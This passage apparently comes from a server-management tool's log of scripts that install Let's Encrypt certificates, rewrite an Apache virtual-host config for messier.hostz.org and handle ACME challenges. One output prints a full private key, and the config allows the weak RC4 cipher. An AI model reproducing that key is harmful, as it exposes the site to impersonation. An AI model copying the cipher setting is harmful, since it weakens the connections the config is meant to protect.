yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-30 06:00:20: 

chmod 755 /tmp/pkp556985; /tmp/pkp556985; rm /tmp/pkp556985

2025-11-30 06:00:20: 


dir=/etc/pki/tls/certs/


2025-11-30 06:00:20: 

PUT: /tmp/pkp840355

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/httpd/conf.d/hostz_messier.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-30 06:00:21: 

chmod 755 /tmp/pkp840355; /tmp/pkp840355; rm /tmp/pkp840355

2025-11-30 06:00:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_messier.conf 1528
<VirtualHost *:80>
    ServerName	messier.hostz.org
    DocumentRoot	/var/www/hostz_messier
    
    #
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
    <Files ".ht*">
        Require	all denied
    </Files>
    
    ErrorLog	"logs/messier_error_log"
    
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.py index.php
    
    <Location /server-status>
        SetHandler	server-status
        Require	ip 173.48.93.56
    </Location>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	messier.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt
    DocumentRoot	/var/www/hostz_messier
    <Directory /var/www/hostz_messier>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/messier_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/messier_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-30 06:00:21: 

PUT: /tmp/pkp406218

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=hostz_messier.conf
TARGET=/etc/httpd/conf.d/hostz_messier.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	messier.hostz.org
    DocumentRoot	/var/www/hostz_messier
    
    #
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
    <Files ".ht*">
        Require	all denied
    </Files>
    
    ErrorLog	"logs/messier_error_log"
    
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.py index.php
    
    <Location /server-status>
        SetHandler	server-status
        Require	ip 173.48.93.56
    </Location>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	messier.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt
    DocumentRoot	/var/www/hostz_messier
    <Directory /var/www/hostz_messier>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/messier_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/messier_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/httpd/conf.d/hostz_messier.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/httpd/sites-enabled/hostz_messier.conf)= /etc/httpd//etc/httpd/conf.d/hostz_messier.conf'
	echo 'file(/etc/httpd//etc/httpd/conf.d/hostz_messier.conf= 1'
fi


2025-11-30 06:00:22: 

chmod 755 /tmp/pkp406218; /tmp/pkp406218; rm /tmp/pkp406218

2025-11-30 06:00:22: 




2025-11-30 06:00:22: 

PUT: /tmp/pkp632296

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-30 06:00:23: 

chmod 755 /tmp/pkp632296; /tmp/pkp632296; rm /tmp/pkp632296

2025-11-30 06:00:23: 


.


2025-11-30 06:00:23: Establishing a connection
2025-11-30 06:00:24: 

PUT: /tmp/pkp473959

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-30 06:00:25: 

chmod 755 /tmp/pkp473959; /tmp/pkp473959; rm /tmp/pkp473959

2025-11-30 06:00:26: 


[Sun Nov 30 06:00:26.055826 2025] [so:warn] [pid 745610:tid 140310333016384] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
         port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
         port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
         port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
                 alias www.zoomchat.online
*:443                  is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
         port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
         port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
         port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:30)
                 alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default 
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.




STDERR:
[Sun Nov 30 06:00:26.055826 2025] [so:warn] [pid 745610:tid 140310333016384] AH01574: module status_module is already loaded, skipping


2025-11-30 06:00:26: 

PUT: /tmp/pkp852615

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/httpd/conf.d/hostz_messier.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-30 06:00:26: 

chmod 755 /tmp/pkp852615; /tmp/pkp852615; rm /tmp/pkp852615

2025-11-30 06:00:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_messier.conf	1528
<VirtualHost *:80>
    ServerName	messier.hostz.org
    DocumentRoot	/var/www/hostz_messier
    
    #
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
    <Files ".ht*">
        Require	all denied
    </Files>
    
    ErrorLog	"logs/messier_error_log"
    
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.py index.php
    
    <Location /server-status>
        SetHandler	server-status
        Require	ip 173.48.93.56
    </Location>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	messier.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt
    DocumentRoot	/var/www/hostz_messier
    <Directory /var/www/hostz_messier>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/messier_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/messier_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-30 06:00:27: 

PUT: /tmp/pkp679756

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-30 06:00:27: 

chmod 755 /tmp/pkp679756; /tmp/pkp679756; rm /tmp/pkp679756

2025-11-30 06:00:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt	5352
a5:aa:d5:d7:d7:91:f4:a6:8e:ca:d9:68:7c:c5:93:8f

-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBWlai98p5Mkc6wAmN91MBHDbMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMTQzWhcNMjYwMjI4MDUwMTQyWjAcMRowGAYDVQQD
ExFtZXNzaWVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAMBIICJ/afjD+LUKIl6+NaresHmxcLsxWqKtxzpHxyZFL/wmb+rxap1dbBxJ
TklQWsqqJnwUI1Bcucg7ZwnFAfLuVD30hziLmmde4qnLiqFaBpYb0CZ1M3G1ryYn
l3lVQeObKB3i+sPQibl7Y5SxpBzrUYUoPYZ8w5mQ10epv6jf7d13hjBLTyjCVR71
wh37RlwpgEbSjIi7EXwhSqDcOixxt6vtnmbxfokCn8YUpX97/syhIrwetBr9hBYJ
HmhjSGNqEb/HvAkCLiH/xU7UB2OFAuJWkmJxs+PUgP1myVeZ5nUyS50Ht8vU29cE
47zzBk9oMDnFP2JCEeMQoMGsgPkCAwEAAaOCAiAwggIcMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQU2g0tCOOKvH6x1nYFx5F2ThQHUoMwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFtZXNzaWVyLmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEzLmMubGVuY3Iub3JnLzkyLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1
AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmtNY9CAAAAQDAEYw
RAIgJJ39QI437s/U6PqVzUihfvQT+SQ4IipdUhAMUGwwe5gCIAKKKTCbLzCGEose
exOvbmdA87YBWODy4vFeXdj6ElubAHYAGYbUxyiqb/66A294Kk0BkarOLXIxD67O
XXBBLSVMx9QAAAGa01j7+wAABAMARzBFAiEApSR8XgK5X2wv9zVeaIdzZjUuEAUB
ToWbJypy91AIQ3ECIHnSM8k1J1IbSwQFc1GiHkqpno5sIR9EXvkrRyqN5ZjFMA0G
CSqGSIb3DQEBCwUAA4IBAQACp6shA3NHNN1v+6vUo6EEUorI5QoQbpZZ1Mwngiqp
JwxDNEZXYRtTy4DIBVtwUmMoAgh5eQWe7k+RIF1+o4z2U7QGRiJLBX3xy7P8iF9Z
J3a6zIl6XGqIKG7ViSRwMeHBmarauGlBTFp6/kVKCAokg91PCSg15eMMqeS9fi/Q
ZxBA4zCe29+KNeqkvv9UgwdNsqRiwSGH+ZCbD48oC5xLfB4brZnOMN0zeke0rC+p
nKjhA/c+CEVOcx+Sp+7dseeu1IuMZ+TdJEK/lK5/eXwv8ZuhkR4TJGHfnqpMb71L
tTWi6voJspYBkpugkpXW/OhepxnHsBM4cGYlhonPkqGo
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDASCAif2n4w/i1
CiJevjWq3rB5sXC7MVqircc6R8cmRS/8Jm/q8WqdXWwcSU5JUFrKqiZ8FCNQXLnI
O2cJxQHy7lQ99Ic4i5pnXuKpy4qhWgaWG9AmdTNxta8mJ5d5VUHjmygd4vrD0Im5
e2OUsaQc61GFKD2GfMOZkNdHqb+o3+3dd4YwS08owlUe9cId+0ZcKYBG0oyIuxF8
IUqg3Doscber7Z5m8X6JAp/GFKV/e/7MoSK8HrQa/YQWCR5oY0hjahG/x7wJAi4h
/8VO1AdjhQLiVpJicbPj1ID9ZslXmeZ1MkudB7fL1NvXBOO88wZPaDA5xT9iQhHj
EKDBrID5AgMBAAECggEBAIYdCITnV/PSRJOJmQV6KBahMnf+4oE+YFhdWzt0Oxyf
X2PBL4iwkEtokPJ90uPh7yGyYhtjNGpl8pMNk8XFqqFVyF5aQ0KWZMC69t+1f2Eh
WLy0c4+Paa1jKuIy9T0E0Ws+mlGWMpAH0TgVLxTUfoJJQ9fbhGZceVWQKAftByhy
qnYUUOKZtm3xinY2rAsrHw+vznEK2iwq+Gap/b1co19wtCwV+s7LIWRJ6bt+1yet
r/mznTrvZB3LSQUOVruL0A3GRQYYNkKvvEzD0GMxt+yfz/Csu7SFFTzyfHuGx/Br
I24jKQSZooeNYXZ6vehCFCHMfvc0QnHKn3oE9T+hY80CgYEA4ovPcM1TqCS7eo+t
Jx4ag+DIlKjDcpeiCJhZqDh3ZNO0NnV6JRh5/eeTLI9fqKmcpispm4ppSDIp5XlU
c5Gd3u8On8BDaZkYUxfmEhf8nbTqxLUNd0OCPUpLribLF9YJiFwjoDeWH/abSusg
u2M7GQI8HtLUIQIHKD8i0atoT9cCgYEA2Ufil1VMj1hBykT+V7p3NSa5QTtLU60d
G89aW2pElQf7ZZ7l0V/Fu8NODJQUTBhT5HzGfoE/akdahHv95M8yQ3sCOIfEi6J3
5hHHJMd1xlVLW6kIrUGesKXSw2dN5rQF673hIyr17gzQoZsX1JL0ZG8UPVVWqsiG
qvUA56FX268CgYA8EXgaX8b7wWmYcLonshqztwlYKXtRShVjlAnJydcWe++/tNyD
M389LIbgfM+PaBGqGa25mTSbOPnU55vV3NlwQBCvmQoG2NoTRjXxvDx2EH9jUuJU
KilBWQ7CCXU2R8FVT6D+nV6H8Rpx/fA632/PDMGmJp6qdeAx8rOnxnwtFwKBgQC2
thI++8WjjK3WL2pJz01K7sM9rWTMenhN2HG9CYGeaNXoQFQ1WnnmSHercCIZUyPI
sXwhCQKQlmvxmGqKLAmyYRAfBVwrp3V3jF+P+AJ7w2HZNC1NtC6DkQ3Ir2f8pkmM
UWGutwOTKEeQfeDuKp1Ej3vPj6GPf4xu2hPms/AzlQKBgF4I+Ss3u7DbzbsK6R+K
Xt/S79+IHKOziM8rHIsfWSe46cef8pcLFlYj2Sse1V/nVja3qYWIzV9c8NDwMBgX
mtEIwj47gfuLuDNv3rWxI9wTtbb5Or2uZRL8cPGIuhbognKG+PPmwJukSDBxlBHf
UDnj2gusNGu7B8QKlh7P4jvC
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-30 06:00:28: Establishing a connection
2025-11-30 06:00:28: Establishing a connection
2025-11-30 06:00:28: 

PUT: /tmp/pkp529007

#!/bin/bash
if [ -d "/var/www/anitayoung_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-30 06:00:28: 

chmod 755 /tmp/pkp529007; /tmp/pkp529007; rm /tmp/pkp529007

2025-11-30 06:00:28: 


1


2025-11-30 06:00:29: Establishing a connection
2025-11-30 06:00:29: 

PUT: /tmp/pkp728398

#!/bin/bash
mkdir -p "/var/www/anitayoung_www/.well-known/acme-challenge/"
cd "/var/www/anitayoung_www/.well-known/acme-challenge/"
cat > aZIClncCTFJc6fDXyawXGO-jRf0rYBOA6jdBYk3IX78 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
aZIClncCTFJc6fDXyawXGO-jRf0rYBOA6jdBYk3IX78.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 aZIClncCTFJc6fDXyawXGO-jRf0rYBOA6jdBYk3IX78


2025-11-30 06:00:29: 

chmod 755 /tmp/pkp728398; /tmp/pkp728398; rm /tmp/pkp728398

2025-11-30 06:00:29: 




2025-11-30 06:00:34: Establishing a connection
2025-11-30 06:00:34: 

PUT: /tmp/pkp146848

#!/bin/bash
mkdir -p "/var/www/anitayoung_www/.well-known/acme-challenge/"
cd "/var/www/anitayoung_www/.well-known/acme-challenge/"
rm aZIClncCTFJc6fDXyawXGO-jRf0rYBOA6jdBYk3IX78


2025-11-30 06:00:34: 

chmod 755 /tmp/pkp146848; /tmp/pkp146848; rm /tmp/pkp146848

2025-11-30 06:00:34: 




2025-11-30 06:00:34: Establishing a connection
2025-11-30 06:00:34: 

PUT: /tmp/pkp430007

#!/bin/bash
temp_file=$(mktemp)
TARGET=6784aa2fd84151497bb640fc77814c2a.crt

cat > $temp_file <<'endmsg'
af:51:d5:ec:bb:e8:db:36:e7:a7:60:16:3f:8d:42:f9

-----BEGIN CERTIFICATE-----
MIIE+DCCA+CgAwIBAgISBXYJOrNlNg3a3Osrr3uoP7uoMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMjAxWhcNMjYwMjI4MDUwMjAwWjAZMRcwFQYDVQQD
Ew5hbml0YXlvdW5nLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKqVLxAqufDOOZw3nSVjaezjMkGbyGC9ZqCxpwCs9znTH8zyw7ehSVXEpqJDOJQ/
phiUUPKm+jMxY+qc8GPbrePsRtdjAiEPaF3Ecb2p8XDlDmWjy9uX2z6/yewJ6Kma
aUOePndrB1lC5SZAxac1OHo7uxNGraUPw3KRR6akSpmVZa2XA4vkEO75RQzKQnNI
NKZ83wb/zSl1ExcQhc6piZJAaFVRTyvbPurQW8wO8l2BCilt9KbFSCUDjfiwZ17U
tH5yIg20HcMZ7pl6+Wenvp6nIQmkEqLojdM+buWALVMAaml+8Eej3K09n6yPS3Mk
MPd4CCmbpAAGGG8VpUQDgAkCAwEAAaOCAh4wggIaMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUFpzCGbjsdRLMs8bt6MfT4z8Tts8wHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5hbml0YXlvdW5nLm5ldDATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzQxLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AJaXZL9V
WJet90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABmtNZPAIAAAQDAEYwRAIgZA1T
wkTKV4mzyUBYeFTWbL0w8CPoekirHK0DstjnP/YCIBU6EzZLjwCftD0Tu9M9LnBj
LsTobCeSkDDlvNv9EJm+AHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGa01lDuwAABAMASDBGAiEAzDZJtnLBYYz+e+b/etMWiwSlLvCqHzYQvNkD
35QokpICIQDXi0iXa6hrYYJpFTH5QBU6flAI7EXwjRsGJvoo2QcaWDANBgkqhkiG
9w0BAQsFAAOCAQEAZQTOApSM+cy4lUnaWIxcxHJM88qmtUlFibwDIwYJkRtk+Nso
WL5imQp92+BFteJtb9Uyz1cnTUJlS6WRl65YfAZyJxqJVwG7Di2orOitv9UnDRD3
